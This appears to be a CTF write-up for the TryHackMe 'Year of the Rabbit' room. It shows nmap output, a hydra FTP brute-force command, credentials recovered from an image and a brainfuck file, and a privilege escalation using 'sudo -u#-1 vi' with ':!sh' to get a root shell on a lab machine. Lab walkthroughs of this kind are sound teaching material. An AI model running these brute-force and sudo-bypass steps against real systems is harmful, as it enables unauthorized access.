mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
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247 lines
5.9 KiB
Markdown
247 lines
5.9 KiB
Markdown
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# TryHackMe-YearOfRabbit
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>Abdullah Rizwan | 09:12 PM , 18th October
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## NMAP
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```
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Nmap scan report for 10.10.20.206
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Host is up (0.17s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp vsftpd 3.0.2
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22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
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| ssh-hostkey:
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| 1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
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| 2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
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| 256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
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|_ 256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
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80/tcp open http Apache httpd 2.4.10 ((Debian))
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|_http-server-header: Apache/2.4.10 (Debian)
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|_http-title: Apache2 Debian Default Page: It works
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Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 26.81 seconds
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```
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## PORT 80
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Looking at the souce and visiting `css` file we will find a hidden page `/sup3r_s3cret_fl4g/` that will say to turn off javascript. We will be brought up to a Rick rolled video.
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## Burpsuite
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Intercept the request on `/sup3r_s3cret_fl4g/`
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<img src="https://imgur.com/1Jzij6l"/>
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<img src="https://imgur.com/hzYcZ0U"/>
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Now visiting the page `/WExYY2Cv-qU`
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We will find an image
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running `strings` on image
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```
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Eh, you've earned this. Username for FTP is ftpuser
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One of these is the password:
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Mou+56n%QK8sr
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1618B0AUshw1M
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A56IpIl%1s02u
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vTFbDzX9&Nmu?
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FfF~sfu^UQZmT
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8FF?iKO27b~V0
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ua4W~2-@y7dE$
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3j39aMQQ7xFXT
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Wb4--CTc4ww*-
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u6oY9?nHv84D&
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0iBp4W69Gr_Yf
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TS*%miyPsGV54
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C77O3FIy0c0sd
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O14xEhgg0Hxz1
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5dpv#Pr$wqH7F
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1G8Ucoce1+gS5
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0plnI%f0~Jw71
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0kLoLzfhqq8u&
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kS9pn5yiFGj6d
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zeff4#!b5Ib_n
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rNT4E4SHDGBkl
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KKH5zy23+S0@B
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3r6PHtM4NzJjE
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gm0!!EC1A0I2?
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HPHr!j00RaDEi
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7N+J9BYSp4uaY
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PYKt-ebvtmWoC
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3TN%cD_E6zm*s
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eo?@c!ly3&=0Z
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nR8&FXz$ZPelN
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eE4Mu53UkKHx#
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86?004F9!o49d
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SNGY0JjA5@0EE
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trm64++JZ7R6E
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3zJuGL~8KmiK^
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CR-ItthsH%9du
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yP9kft386bB8G
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A-*eE3L@!4W5o
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GoM^$82l&GA5D
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1t$4$g$I+V_BH
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0XxpTd90Vt8OL
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j0CN?Z#8Bp69_
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G#h~9@5E5QA5l
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DRWNM7auXF7@j
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Fw!if_=kk7Oqz
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92d5r$uyw!vaE
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c-AA7a2u!W2*?
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zy8z3kBi#2e36
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J5%2Hn+7I6QLt
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gL$2fmgnq8vI*
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Etb?i?Kj4R=QM
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7CabD7kwY7=ri
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4uaIRX~-cY6K4
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kY1oxscv4EB2d
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k32?3^x1ex7#o
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ep4IPQ_=ku@V8
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tQxFJ909rd1y2
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5L6kpPR5E2Msn
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65NX66Wv~oFP2
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LRAQ@zcBphn!1
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V4bt3*58Z32Xe
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ki^t!+uqB?DyI
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5iez1wGXKfPKQ
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nJ90XzX&AnF5v
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7EiMd5!r%=18c
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wYyx6Eq-T^9#@
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yT2o$2exo~UdW
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ZuI-8!JyI6iRS
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PTKM6RsLWZ1&^
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3O$oC~%XUlRO@
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KW3fjzWpUGHSW
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nTzl5f=9eS&*W
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WS9x0ZF=x1%8z
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Sr4*E4NT5fOhS
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hLR3xQV*gHYuC
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4P3QgF5kflszS
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NIZ2D%d58*v@R
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0rJ7p%6Axm05K
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94rU30Zx45z5c
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Vi^Qf+u%0*q_S
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1Fvdp&bNl3#&l
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zLH%Ot0Bw&c%9
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```
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## Hydra
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```
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hydra -l ftpuser -P passwords.txt ftp://10.10.20.206 -t 4
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Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-18 22:06:01
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[DATA] max 4 tasks per 1 server, overall 4 tasks, 82 login tries (l:1/p:82), ~21 tries per task
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[DATA] attacking ftp://10.10.20.206:21/
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[21][ftp] host: 10.10.20.206 login: ftpuser password: 5iez1wGXKfPKQ
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[STATUS] 82.00 tries/min, 82 tries in 00:01h, 1 to do in 00:01h, 3 active
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1 of 1 target successfully completed, 1 valid password found
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Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-18 22:07:03
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```
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## FTP
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```
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root@kali:~/TryHackMe/Easy/YearOfTheRabbit# ftp 10.10.20.206
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Connected to 10.10.20.206.
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220 (vsFTPd 3.0.2)
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Name (10.10.20.206:root): ftpuser
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331 Please specify the password.
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Password:
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230 Login successful.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp> ls -la
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200 PORT command successful. Consider using PASV.
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150 Here comes the directory listing.
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drwxr-xr-x 2 0 0 4096 Jan 23 2020 .
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drwxr-xr-x 2 0 0 4096 Jan 23 2020 ..
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-rw-r--r-- 1 0 0 758 Jan 23 2020 Eli's_Creds.txt
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226 Directory send OK.
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ftp>
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```
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On getting `Eli's_Creds.txt` we will find brainfuck language
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```
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+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
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--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
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++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
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+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
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]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
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++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
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--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
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+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
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++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
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<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
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<]>+. <+++[ ->--- <]>-- ---.- ----. <
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```
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`https://www.dcode.fr/brainfuck-language`
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on decoding it
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```
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User: eli
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Password: DSpDiM1wAEwid
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```
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This may be the ssh password for `eli`
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## SSH
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```
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root@kali:~/TryHackMe/Easy/YearOfTheRabbit# ssh eli@10.10.20.206
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The authenticity of host '10.10.20.206 (10.10.20.206)' can't be established.
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ECDSA key fingerprint is SHA256:ISBm3muLdVA/w4A1cm7QOQQOCSMRlPdDp/x8CNpbJc8.
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Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
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Warning: Permanently added '10.10.20.206' (ECDSA) to the list of known hosts.
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eli@10.10.20.206's password:
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1 new message
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Message from Root to Gwendoline:
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"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
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END MESSAGE
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eli@year-of-the-rabbit:~$
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```
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```
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eli@year-of-the-rabbit:/home/gwendoline$ find / -type d -name "s3cr3t" 2>/dev/null
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/usr/games/s3cr3t
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```
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```
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cat .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\!
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Your password is awful, Gwendoline.
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It should be at least 60 characters long! Not just MniVCQVhQHUNI
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Honestly!
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Yours sincerely
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-Root
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```
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## Previlege Escalation
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```
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sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
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```
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on the vim editor
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:!sh
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```
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# bash
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```
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